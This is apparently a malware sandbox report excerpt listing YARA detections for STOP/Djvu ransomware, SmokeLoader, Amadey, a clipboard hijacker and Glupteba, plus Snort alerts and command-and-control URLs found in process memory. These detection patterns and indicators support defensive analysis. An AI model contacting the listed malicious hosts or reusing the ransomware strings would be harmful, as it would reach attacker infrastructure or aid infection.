34.2.C06.exe.23f15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
34.2.C06.exe.23f15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.file.exe.6b0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
50.2.C06.exe.23415a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
50.2.C06.exe.23415a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
50.2.C06.exe.23415a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
49.2.callcustomer.exe.56f0000.3.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
49.2.callcustomer.exe.56f0000.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
44.2.build3.exe.24215a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
44.2.build3.exe.24215a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
44.2.build3.exe.24215a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
7.3.vdhbahw.6c0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
8.2.C06.exe.23215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.C06.exe.23215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.C06.exe.23215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.374E.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.0.374E.exe.e00000.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7800:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
50.2.C06.exe.23415a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
50.2.C06.exe.23415a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
50.2.C06.exe.23415a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.vdhbahw.6b0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.3.6545.exe.20b0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
11.2.C06.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.C06.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.C06.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.2.C06.exe.24015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.2.C06.exe.24015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.2.C06.exe.24015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.yiueea.exe.2c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.yiueea.exe.2c0000.0.unpack	Windows_Trojan_Amadey_7abb059b	unknown	unknown	0x7800:$a: 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56
15.2.C06.exe.23215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.C06.exe.23215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.C06.exe.23215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
28.2.C06.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
28.2.C06.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
28.2.C06.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
28.2.C06.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
28.2.C06.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
28.2.C06.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
31.2.C06.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
31.2.C06.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
31.2.C06.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
41.2.C06.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
41.2.C06.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
41.2.C06.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
31.2.C06.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
31.2.C06.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
31.2.C06.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
15.2.C06.exe.23215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
15.2.C06.exe.23215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.C06.exe.23215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
33.2.9EB5.exe.400000.2.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
33.2.9EB5.exe.5120e67.12.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Click to see the 83 entries

Snort Signatures

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 34.94.245.237 - Destination IP: 192.168.2.4

Timestamp:	34.94.245.237192.168.2.480497482037771 10/13/23-16:05:30.416832
SID:	2037771
Source Port:	80
Destination Port:	49748
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 35.205.61.67 - Destination IP: 192.168.2.4

Timestamp:	35.205.61.67192.168.2.480497492037771 10/13/23-16:05:34.790373
SID:	2037771
Source Port:	80
Destination Port:	49749
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 34.143.166.163 - Destination IP: 192.168.2.4

Timestamp:	34.143.166.163192.168.2.480497602037771 10/13/23-16:05:42.879469
SID:	2037771
Source Port:	80
Destination Port:	49760
Protocol:	TCP
Classtype:	A Network Trojan was detected

FTP traffic detected: 195.85.115.195:21 -> 192.168.2.4:49888 220-FileZilla Server 0.9.60 beta 220-FileZilla Server 0.9.60 beta220-written by Tim Kosse (tim.kosse@filezilla-project.org) 220-FileZilla Server 0.9.60 beta220-written by Tim Kosse (tim.kosse@filezilla-project.org)220 Please visit https://filezilla-project.org/

Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002E31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.86.98.101
Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002E31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.86.98.101/xs12pro/Qdlpaama.wavC
Source: build2.exe, 00000026.00000002.2723898873.000000000241B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151/
Source: build2.exe, 00000026.00000002.2723898873.00000000023A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151/9jJU
Source: build2.exe, 00000026.00000002.2723898873.000000000241B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151/Data
Source: build2.exe, 00000026.00000002.2723898873.000000000241B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151/s
Source: build2.exe, 00000026.00000002.2718538221.0000000002140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151:8000
Source: build2.exe, 00000026.00000002.2723898873.00000000023A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151:8000/
Source: build2.exe, 00000026.00000002.2702013439.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151:8000/Z
Source: build2.exe, 00000026.00000003.2577331812.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2599437959.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2597953091.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2564440533.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2605006631.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2592498316.00000000023BE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2585268311.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2597781285.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2599303433.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2570233323.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2723898873.00000000023A5000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2584261121.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2602991784.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2606556406.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2586748488.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2591055405.00000000023BD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2601178963.00000000023BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151:8000/d37c48c18c73cc0e155c7e1dfde06db9
Source: build2.exe, 00000026.00000002.2697855112.000000000019E000.00000004.00000010.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2599437959.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2597953091.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2564440533.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2605006631.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2592498316.00000000023BE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2585268311.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2597781285.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2599303433.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2570233323.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2723898873.00000000023A5000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2584261121.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2602991784.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2606556406.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2586748488.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2591055405.00000000023BD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2601178963.00000000023BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151:8000/images.zip
Source: build2.exe, 00000026.00000003.2577331812.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2599437959.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2597953091.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2564440533.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2605006631.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2592498316.00000000023BE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2585268311.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2597781285.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2599303433.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2570233323.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2723898873.00000000023A5000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2584261121.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2602991784.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2606556406.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2586748488.00000000023C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2591055405.00000000023BD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2601178963.00000000023BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151:8000/images.zip;fFT#
Source: build2.exe, 00000026.00000003.2577331812.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2564440533.00000000023BA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2570233323.00000000023C3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2584261121.00000000023C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://49.12.118.151:8000/images.zipGfrT
Source: yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/2
Source: yiueea.exe, 00000011.00000003.4056210973.0000000000B14000.00000004.00000020.00020000.00000000.sdmp, yiueea.exe, 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://79.137.192.18/5H.
